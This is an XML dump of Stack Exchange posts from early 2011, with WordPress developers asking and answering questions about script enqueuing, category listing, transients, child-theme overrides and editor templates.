  <row Id="8275" PostTypeId="2" ParentId="8260" CreationDate="2011-02-01T11:05:08.000" Score="1" ViewCount="" Body="&lt;p&gt;I'd suggest moving the script registering into the init action, and moving the enqueue(s) into a callback hooked onto &lt;code&gt;wp_print_scripts&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'register_those_scriptsNstyles' );&#xA;&#xA;function register_those_scriptsNstyles() {&#xA;    wp_register_script( .. your script params .. );&#xA;    wp_register_style( .. your style params ..  );&#xA;&#xA;    ..etc..&#xA;}&#xA;&#xA;add_action( 'wp_print_scripts', 'enqueue_those_scriptsNstyles' );&#xA;&#xA;function enqueue_those_scriptsNstyles() {&#xA;&#xA;    if( !is_page( 'some-page' ) ) // If it's not the given page, stop here&#xA;        return;&#xA;&#xA;    wp_enqueue_script( .. your script params .. );&#xA;    wp_enqueue_style( .. your style params .. );&#xA;&#xA;    ..etc..&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; Despite the hook name, i'm pretty sure &lt;code&gt;wp_print_scripts&lt;/code&gt; should also be fine for enqueuing styles to. The important factor is to just ensure the hook you use occurs late enough for the conditional template tags to be set, ie. &lt;code&gt;is_page&lt;/code&gt;, &lt;code&gt;is_category&lt;/code&gt; and so on..&lt;br&gt;&#xA;If not, try &lt;code&gt;wp_head&lt;/code&gt; instead.. eg. &lt;code&gt;add_action( 'wp_head', 'your-callback' )&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; For styles, just like the admin side, the public facing side has an action for styles to.. which is &lt;code&gt;wp_print_styles&lt;/code&gt;..(hook enqueues for styles to there).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-02-01T12:39:06.527" LastActivityDate="2011-02-01T12:39:06.527" CommentCount="13" />
  <row Id="8276" PostTypeId="1" AcceptedAnswerId="8279" CreationDate="2011-02-01T11:48:17.177" Score="1" ViewCount="312" Body="&lt;p&gt;I want to list categories belonging to a parent. The problem is using category id's isn't useful and makes things harder to understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any easier way to list categories belonging to a parent, similar to the default way supplied in the WP codec?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_list_categories('child_of=8'); ?&amp;gt; //what category is '8' ?!&#xA;&#xA;&amp;lt;?php wp_list_categories('child_of=clients'); ?&amp;gt; //much nicer, but doesn't work&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would prefer to avoid using another query in the loop, but to make sense to other developers, I might have to.&lt;/p&gt;&#xA;" OwnerUserId="1956" LastActivityDate="2011-02-01T12:14:14.043" Title="Listing Category 'child_of' by slug rather than ID" Tags="&lt;categories&gt;&lt;page-template&gt;" AnswerCount="2" />
  <row Id="8277" PostTypeId="2" ParentId="8154" CreationDate="2011-02-01T12:04:54.477" Score="1" ViewCount="" Body="&lt;p&gt;Inside the loop you already have a &lt;code&gt;$post&lt;/code&gt; object available to you, you don't need to call &lt;code&gt;get_post_type&lt;/code&gt; or any other functions, this should do the trick.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $post-&amp;gt;post_type; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or if you like the idea of calling &lt;code&gt;get_post_type&lt;/code&gt; you can make the task easier for the function by passing it the post object you have(so it doesn't need to go fetch the post, just to extract one property from it).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo get_post_type( $post ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Else, &lt;code&gt;get_post_type&lt;/code&gt; will needlessly call &lt;code&gt;get_post&lt;/code&gt; to fetch the post object (an object you already have available to you nonetheless).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-01T12:04:54.477" CommentCount="1" />
  <row Id="8278" PostTypeId="1" AcceptedAnswerId="8281" CreationDate="2011-02-01T12:05:36.270" Score="1" ViewCount="80" Body="&lt;p&gt;Basically that's the question - I wonder if &lt;strong&gt;set_transient()&lt;/strong&gt; overwrites/updates a transient option with the same key?&lt;/p&gt;&#xA;" OwnerUserId="421" LastActivityDate="2011-02-01T12:16:28.987" Title="Does set_transient() overwrite/update transient option with same key?" Tags="&lt;update&gt;&lt;transient&gt;" AnswerCount="1" />
  <row Id="8279" PostTypeId="2" ParentId="8276" CreationDate="2011-02-01T12:13:11.037" Score="2" ViewCount="" Body="&lt;p&gt;You can get ID from slug quite easily:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$category = get_category_by_slug( 'clients' );&#xA;wp_list_categories('child_of='.$category-&amp;gt;term_id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-01T12:13:11.037" CommentCount="2" />
  <row Id="8280" PostTypeId="2" ParentId="8276" CreationDate="2011-02-01T12:14:14.043" Score="2" ViewCount="" Body="&lt;p&gt;Do you want all children on a set category then, as that's essentially what the &lt;code&gt;child_of&lt;/code&gt; parameter is for, getting all descendants of a term(category).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want only terms that have a particular direct parent then you should instead be using &lt;code&gt;parent&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In regard to using an ID, this should work..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Get ID for the named category&#xA;$cat_term_id = get_cat_ID( 'my-cat' );&#xA;&#xA;wp_list_categories(&quot;parent=$cat_term_id&quot;);&#xA;//wp_list_categories(&quot;child_of=$cat_term_id&quot;);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps..&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-01T12:14:14.043" CommentCount="4" />
  <row Id="8281" PostTypeId="2" ParentId="8278" CreationDate="2011-02-01T12:16:28.987" Score="1" ViewCount="" Body="&lt;p&gt;Yes, key (prefixed with string identifying it as transient) is used as option name when value is inserted in database.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-01T12:16:28.987" />
  <row Id="8282" PostTypeId="2" ParentId="8252" CreationDate="2011-02-01T12:31:53.437" Score="0" ViewCount="" Body="&lt;p&gt;i would say either the css or use jquery to append. Say its in your div#sidebar, you could do something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#sidebar ul li a').append('&amp;amp;lt;span style=&quot;color:#ff0000;&quot;&amp;amp;gt;htmlmarkuphere&amp;amp;lt;/ span&amp;amp;gt;'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and itd at least be displayed in line and inside the anchor. or do append to the li to get it after the a but in the li.&lt;/p&gt;&#xA;" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-01T13:19:56.613" LastActivityDate="2011-02-01T13:19:56.613" />
  <row Id="8284" PostTypeId="1" AcceptedAnswerId="8291" CreationDate="2011-02-01T14:28:42.787" Score="0" ViewCount="902" Body="&lt;p&gt;What function will display custom taxonomies associated with a post as text?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using get_the_term_list which works great for a singular page but not so much when using a taxonomy in the archive-postype.php permalink title tag.&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-02-01T19:18:40.867" Title="get_the_term_list without links in 3.1" Tags="&lt;custom-taxonomy&gt;&lt;customization&gt;&lt;get-the-term-list&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="8285" PostTypeId="1" AcceptedAnswerId="8628" CreationDate="2011-02-01T14:36:32.583" Score="0" ViewCount="177" Body="&lt;p&gt;Hey,&#xA;is it possible that i can put a chunk of code somewhere and it will show up after the more tag seperator but within the post ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean if i put more seperator after first paragraph then on post areas after that will show up the code i will put.. probably some html with a twitter and rss link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help is appreicated :) &#xA;cheers&#xA;Ayaz&lt;/p&gt;&#xA;" OwnerUserId="2419" LastActivityDate="2011-02-05T18:34:45.497" Title="Text after more tag in posts" Tags="&lt;posts&gt;&lt;more&gt;" AnswerCount="3" />
  <row Id="8286" PostTypeId="2" ParentId="8284" CreationDate="2011-02-01T14:50:11.730" Score="0" ViewCount="" Body="&lt;p&gt;I think the best way is to implement a filter for the term list, that extract via regexp only the text, from the list&lt;/p&gt;&#xA;&#xA;&lt;p&gt;get_the_terms_list() is implemented here:&#xA;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-includes/category-template.php#L948&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-includes/category-template.php#L948&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $term_links = apply_filters( &quot;term_links-$taxonomy&quot;, $term_links );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can implement you own filter.&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-02-01T14:50:11.730" />
  <row Id="8287" PostTypeId="2" ParentId="8252" CreationDate="2011-02-01T15:18:06.897" Score="5" ViewCount="" Body="&lt;p&gt;I think this is the cleanest and WordPressiest way to do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$menu_args = array(&#xA;    'child_of' =&amp;gt; '4',&#xA;    'title_li' =&amp;gt; '',&#xA;    'link_after' =&amp;gt; '&amp;amp;raquo;',&#xA;);&#xA;wp_list_categories($menu_args);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2874" LastActivityDate="2011-02-01T15:18:06.897" CommentCount="1" />
  <row Id="8288" PostTypeId="1" AcceptedAnswerId="8294" CreationDate="2011-02-01T15:26:53.387" Score="0" ViewCount="110" Body="&lt;p&gt;I'm trying to create a fallback method when ZipArchive is not present. I'm seeking to use the _unzip_file_pclzip() function contained in wp-admin/includes/file.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm not sure what is expected for the $needed_dirs argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My target folder for the zip will be the &quot;styles&quot; folder under my theme folder, so the path would be &quot;wp-content/themes/mytheme/styles/&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that what's expected for $needed_dirs?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function openZip($file_to_open) { &#xA;    global $wp_filesystem;//required if _unzip_file_pclzip is used directly&#xA;    global $target;  &#xA;    if(class_exists('ZipArchive'))&#xA;    {&#xA;        $zip = new ZipArchive();  &#xA;        $x = $zip-&amp;gt;open($file_to_open);  &#xA;        if($x === true) &#xA;        {  &#xA;            $zip-&amp;gt;extractTo($target);  &#xA;            $zip-&amp;gt;close();                &#xA;            unlink($file_to_open);  &#xA;        } else {  &#xA;            die(&quot;There was a problem. Please try again!&quot;);  &#xA;        }&#xA;    }&#xA;    else&#xA;    {&#xA;        $needed_dirs = array();&#xA;        _unzip_file_pclzip($file_to_open, $target, $needed_dirs);&#xA;    }&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-02-01T16:44:46.880" LastActivityDate="2011-03-03T17:38:34.830" Title="What should I pass for $needed_dirs when calling _unzip_file_pclzip (aka PclZip)?" Tags="&lt;plugin-development&gt;&lt;ziparchive&gt;" AnswerCount="1" />
  <row Id="8289" PostTypeId="1" CreationDate="2011-02-01T15:31:34.237" Score="1" ViewCount="198" Body="&lt;p&gt;Hi there is anyway to style the visual editor in WordPress.  For example if the user selects the page template shop say it loads into the visual editor a preset template which divs and formatted text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks very much.&lt;/p&gt;&#xA;" LastActivityDate="2011-02-01T16:43:30.293" Title="Visual Editor Templates" Tags="&lt;page-template&gt;&lt;visual-editor&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="8290" PostTypeId="1" AcceptedAnswerId="8338" CreationDate="2011-02-01T15:36:53.200" Score="0" ViewCount="226" Body="&lt;p&gt;I'm really stuck on this - this follows on from this post:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/7557/how-to-override-parent-functions-in-child-themes&quot;&gt;How to override parent functions in child themes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't figure out how to override Twenty Ten's set_post_thumbnail_size() function. I've put my code below for the other overrides I'm doing, but nothing happens when I add this to my function twentyten_child_theme_setup():&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set_post_thumbnail_size( array(100,100) , array(&quot;class&quot; =&amp;gt; &quot;alignleft post_thumbnail&quot;), true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm inserting the thumbnail in my loop like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( function_exists(&quot;has_post_thumbnail&quot;) &amp;amp;&amp;amp; has_post_thumbnail() ) {&#xA;the_post_thumbnail(array(100,100), array(&quot;class&quot; =&amp;gt; &quot;alignleft post_thumbnail&quot;));&#xA;} else { ?&amp;gt;&#xA;&amp;lt;img src=&quot;&amp;lt;?php echo bloginfo('stylesheet_directory'); ?&amp;gt;/images/thumb-default.jpg&quot; alt=&quot;thumb-default&quot; width=&quot;100&quot; height=&quot;100&quot; /&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's my function below - can anyone help me override this pesky function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;osu&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function twentyten_child_theme_setup() {&#xA;&#xA;    // OVERRIDE SIDEBAR GENERATION!&#xA;    function osu_twentyten_widgets_init() {&#xA;        // Siedbar 1, located on LHS sidebar&#xA;        register_sidebar( array(&#xA;            'name' =&amp;gt; __( 'Primary Widget Area', 'twentyten-child' ),&#xA;            'id' =&amp;gt; 'primary-widget-area',&#xA;            'description' =&amp;gt; __( 'The primary widget area where the navigation goes', 'twentyten-child' ),&#xA;            'before_widget' =&amp;gt; '&amp;lt;li id=&quot;%1$s&quot; class=&quot;widget-container %2$s&quot;&amp;gt;',&#xA;            'after_widget' =&amp;gt; '&amp;lt;/li&amp;gt;',&#xA;            'before_title' =&amp;gt; '&amp;lt;h3 class=&quot;widget-title&quot;&amp;gt;',&#xA;            'after_title' =&amp;gt; '&amp;lt;/h3&amp;gt;',&#xA;        ) );&#xA;        // Area 2, located on RHS sidebar&#xA;        register_sidebar( array(&#xA;            'name' =&amp;gt; __( 'Secondary Widget Area', 'twentyten-child' ),&#xA;            'id' =&amp;gt; 'secondary-widget-area',&#xA;            'description' =&amp;gt; __( 'The secondary widget area', 'twentyten-child' ),&#xA;            'before_widget' =&amp;gt; '&amp;lt;li id=&quot;%1$s&quot; class=&quot;widget-container %2$s&quot;&amp;gt;',&#xA;            'after_widget' =&amp;gt; '&amp;lt;/li&amp;gt;',&#xA;            'before_title' =&amp;gt; '&amp;lt;h3 class=&quot;widget-title&quot;&amp;gt;',&#xA;            'after_title' =&amp;gt; '&amp;lt;/h3&amp;gt;',&#xA;        ) );&#xA;    }&#xA;    /* Deregister sidebar in parent */&#xA;    remove_action( 'widgets_init', 'twentyten_widgets_init' );&#xA;    /** Register sidebars by running twentyten_widgets_init() on the widgets_init hook. */&#xA;    add_action( 'widgets_init', 'osu_twentyten_widgets_init' );&#xA;&#xA;    // OVERRIDE EXCERPT READ MORE LINK&#xA;    function osu_readon_link() {&#xA;        return ' &amp;lt;a href=&quot;'. get_permalink() . '&quot; class=&quot;readmore&quot;&amp;gt;' . __( 'Read More', 'twentyten-child' ) . '&amp;lt;/a&amp;gt;';&#xA;    }&#xA;    // Function to override&#xA;    function osu_twentyten_custom_excerpt_more( $output ) {&#xA;        if ( has_excerpt() &amp;amp;&amp;amp; ! is_attachment() ) {&#xA;            $output .= osu_readon_link();&#xA;        }&#xA;        return $output;&#xA;    }&#xA;    remove_filter( 'get_the_excerpt', 'twentyten_custom_excerpt_more' );&#xA;    add_filter( 'get_the_excerpt', 'osu_twentyten_custom_excerpt_more' );&#xA;&#xA;}&#xA;/* IMPORTANT: Run the code for parent function overrides (involving hooks and filters) after theme setup! */&#xA;add_action( 'after_setup_theme', 'twentyten_child_theme_setup' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2685" LastActivityDate="2011-02-02T06:46:27.993" Title="How to remove set_post_thumbnail_size() in child themes?" Tags="&lt;functions&gt;&lt;child-theme&gt;" AnswerCount="1" />
  <row Id="8291" PostTypeId="2" ParentId="8284" CreationDate="2011-02-01T15:37:46.367" Score="6" ViewCount="" Body="&lt;p&gt;wp_get_object_terms() returns the terms associated with an object (eg a post or a page or custom post) as text (normally in an array).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_object_terms&quot; rel=&quot;nofollow&quot;&gt;the Codex page for wp_get_object_terms()&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$productcategories = wp_get_object_terms($post-&amp;gt;ID, 'productcategories');&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-02-01T15:37:46.367" />
  <row Id="8292" PostTypeId="1" CreationDate="2011-02-01T15:47:02.900" Score="0" ViewCount="216" Body="&lt;p&gt;I have one custom post type and two custom taxonomies with some 30 items each (business types and location). I dont know if this is part of the problem, but after about 20 items the admin page &lt;code&gt;nav-menus.php&lt;/code&gt; starts to hang whenever I load it to add more items to the menus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/8X8FS.jpg&quot; alt=&quot;Screenshot of half-loaded menu page&quot;&gt;&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-23T13:00:10.020" LastActivityDate="2011-02-23T13:00:10.020" Title="nav-menus.php hangs and doesn't finish loading menus" Tags="&lt;wp-admin&gt;&lt;errors&gt;&lt;menus&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="0" />
  <row Id="8293" PostTypeId="2" ParentId="8165" CreationDate="2011-02-01T16:05:45.270" Score="0" ViewCount="" Body="&lt;p&gt;I modified the script as below and it worked... Thank you so much for the help.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;enter code here&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;function portfolio_small_single($id){&#xA;    $meta_value = get_post_meta($id, '_port_data', true);&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$return = '&amp;lt;ul id=&quot;small_thumb_lists&quot;&amp;gt;' . &quot;\n&quot;;&#xA;if( $meta_value != &quot;&quot;){&#xA;    foreach( $meta_value as $i =&amp;gt; $data ){&#xA;        if(!empty($data)) {&#xA;        $return .= '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.$data.'&quot;&amp;gt;' . &quot;\n&quot;;&#xA;            if(!linkisimage($data)){ &#xA;                $data = str_replace(&quot;http://crizaze.com&quot;, &quot;&quot;, $data);&#xA;                $return .= '&amp;lt;img src=&quot;' . get_bloginfo('template_url') . '/timthumb.php?src=' . $data . '&amp;amp;amp;h=80&amp;amp;amp;w=80&amp;amp;amp;zc=1&quot; alt=&quot;&quot; /&amp;gt;';}&#xA;            else&#xA;                $return .= '&amp;lt;img src=&quot;' . get_bloginfo('template_url') . '/images/vid80.jpg&quot; width=&quot;80&quot; height=&quot;80&quot; alt=&quot;&quot; /&amp;gt;';&#xA;        $return .= '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;' . &quot;\n&quot;;&#xA;        }&#xA;    }&#xA;}&#xA;$return .= '&amp;lt;/ul&amp;gt;' . &quot;\n&quot;;&#xA;&#xA;return $return;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" LastActivityDate="2011-02-01T16:05:45.270" />
  <row Id="8294" PostTypeId="2" ParentId="8288" CreationDate="2011-02-01T16:14:31.000" Score="0" ViewCount="" Body="&lt;p&gt;@Scott B I have not tested this script, taken from inlcudes/file.php -&gt; line 559&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;_unzip_file_pclzip&lt;/code&gt; assumes WP_Filesystem() has already been called, so you need to set up &lt;code&gt;global $wp_filesystem&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_filesystem;&#xA;$needed_dirs = array();&#xA;$target = trailingslashit($target);&#xA;&#xA;// Determine any parent dir's needed (of the upgrade directory)&#xA;if ( ! $wp_filesystem-&amp;gt;is_dir($target) ) { //Only do parents if no children exist&#xA;    $path = preg_split('![/\\\]!', untrailingslashit($target));&#xA;    for ( $i = count($path); $i &amp;gt;= 0; $i-- ) {&#xA;        if ( empty($path[$i]) )&#xA;            continue;&#xA;&#xA;        $dir = implode('/', array_slice($path, 0, $i+1) );&#xA;        if ( preg_match('!^[a-z]:$!i', $dir) ) // Skip it if it looks like a Windows Drive letter.&#xA;            continue;&#xA;&#xA;        if ( ! $wp_filesystem-&amp;gt;is_dir($dir) )&#xA;            $needed_dirs[] = $dir;&#xA;        else&#xA;             break; // A folder exists, therefor, we dont need the check the levels below this&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-02-01T16:14:31.000" CommentCount="3" />
  <row Id="8295" PostTypeId="2" ParentId="8289" CreationDate="2011-02-01T16:22:06.987" Score="1" ViewCount="" Body="&lt;p&gt;Short answer: &lt;strong&gt;kinda&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The visual editor is the open source Tiny MCE WYSIWYG editor.  You can style it however you want (i.e. so that it presents the same colors and fonts as the finished posts and pages) by writing a stylesheet to do so and loading it with the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_editor_style&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;add_editor_style&lt;/code&gt;&lt;/a&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it sounds more like you want to pre-load a template into the visual editor ... and you can't really do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The visual editor is meant for rendering the markup of the post or page so you'll see what it looks like and can edit it directly (versus manually editing the code).  When you create a new post or page, &lt;em&gt;no content exists to render&lt;/em&gt; until you add it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want people working with a preset template (i.e. pre-defined &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; elements and pre-formatted text) I would recommend one of two different approaches.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Custom Post Types&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Create a custom post type and use post meta to load content into these pre-defined sections.  This allows you to keep complete control over the display in the template itself and let the post/page author focus on the content alone.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Add a Meta Box&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can add a custom meta box to your post/page edit screen (for the template in question) that lists out your pre-defined &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;s and formatted text.  Then authors can easily copy-paste the pre-written content into the editor.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-02-01T16:22:06.987" />
  <row Id="8296" PostTypeId="2" ParentId="8289" CreationDate="2011-02-01T16:43:30.293" Score="1" ViewCount="" Body="&lt;p&gt;When i have clients that need different templates in the editor i use TinyMCE Templates plugin&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/tinymce-templates/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/tinymce-templates/&lt;/a&gt;&#xA;Its the easier way&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-01T16:43:30.293" />
  <row Id="8297" PostTypeId="1" AcceptedAnswerId="8304" CreationDate="2011-02-01T17:25:41.070" Score="0" ViewCount="88" Body="&lt;p&gt;Really rusty on the wordpress front.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using custom permalinks  &lt;code&gt;/%category%/%postname%/&lt;/code&gt; as well as the &lt;code&gt;WP No Category Base&lt;/code&gt; plugin, so my urls look like this: &lt;a href=&quot;http://www.url.com/parent_category/child_category/&quot; rel=&quot;nofollow&quot;&gt;http://www.url.com/parent_category/child_category/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only have an index.php set up at the moment, with the most basic loop possible:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;&#xA;&amp;lt;?php query_posts(); ?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;    &#xA;&#xA;&amp;lt;div class=&quot;post&quot;&amp;gt;&#xA;   &amp;lt;?php the_title(); ?&amp;gt;&#xA;   &amp;lt;br /&amp;gt;&#xA;   &amp;lt;?php the_content(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;    &#xA;&amp;lt;?php else: ?&amp;gt;   &#xA;&amp;lt;?php endif;?&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is, all posts are coming through, instead of just the posts in the category represented by the url. I didn't think I needed a custom query, because the link that took me to the particular url should have been carried across. What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="1956" LastActivityDate="2011-02-01T19:34:13.663" Title="Category links including all posts" Tags="&lt;the-loop&gt;" AnswerCount="1" />
  <row Id="8298" PostTypeId="2" ParentId="3170" CreationDate="2011-02-01T17:36:53.283" Score="0" ViewCount="" Body="&lt;p&gt;I'm not sure it's exactly what you need, but maybe you'd like to take a look on my workaround. It's a function that displays a list of the posts wherever you want, with thumbnails for the first image of the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wpworks.wordpress.com/2011/02/01/display-wordpress-post-list-with-custom-size-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;http://wpworks.wordpress.com/2011/02/01/display-wordpress-post-list-with-custom-size-thumbnails/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you find it useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alvaro&lt;/p&gt;&#xA;" LastActivityDate="2011-02-01T17:36:53.283" />
  <row Id="8299" PostTypeId="1" AcceptedAnswerId="8300" CreationDate="2011-02-01T17:45:40.917" Score="0" ViewCount="99" Body="&lt;p&gt;My client wants to implement a special appearance to each of our category pages. Kind of like child themes... she wants to shift the background image, change a few graphics, and tweak the colors according to which category the user is visiting (horror, romance, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a reasonable way to do this besides creating a different template for each page with imported CSS styles? Or is that really the only path to accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&#xA;The answers below are all great. For our purposes, the easiest thing to do was to use the category specific classes provided by &quot;body_class()&quot; to override current styles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2391" LastEditorUserId="2391" LastEditorDisplayName="" LastEditDate="2011-02-04T04:27:05.410" LastActivityDate="2011-02-04T04:27:05.410" Title="Category specific themes?" Tags="&lt;theme-development&gt;&lt;categories&gt;&lt;plugin-recommendation&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" />
  <row Id="8300" PostTypeId="2" ParentId="8299" CreationDate="2011-02-01T18:15:09.883" Score="1" ViewCount="" Body="&lt;p&gt;If changes do not require modifications to HTML markup you can accomplish that by loading conditionally additional CSS style files. See &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags#A_Category_Page&quot; rel=&quot;nofollow&quot;&gt;Conditional Tags &gt; A Category Page&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_style&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_enqueue_style()&lt;/code&gt;&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-01T18:15:09.883" />
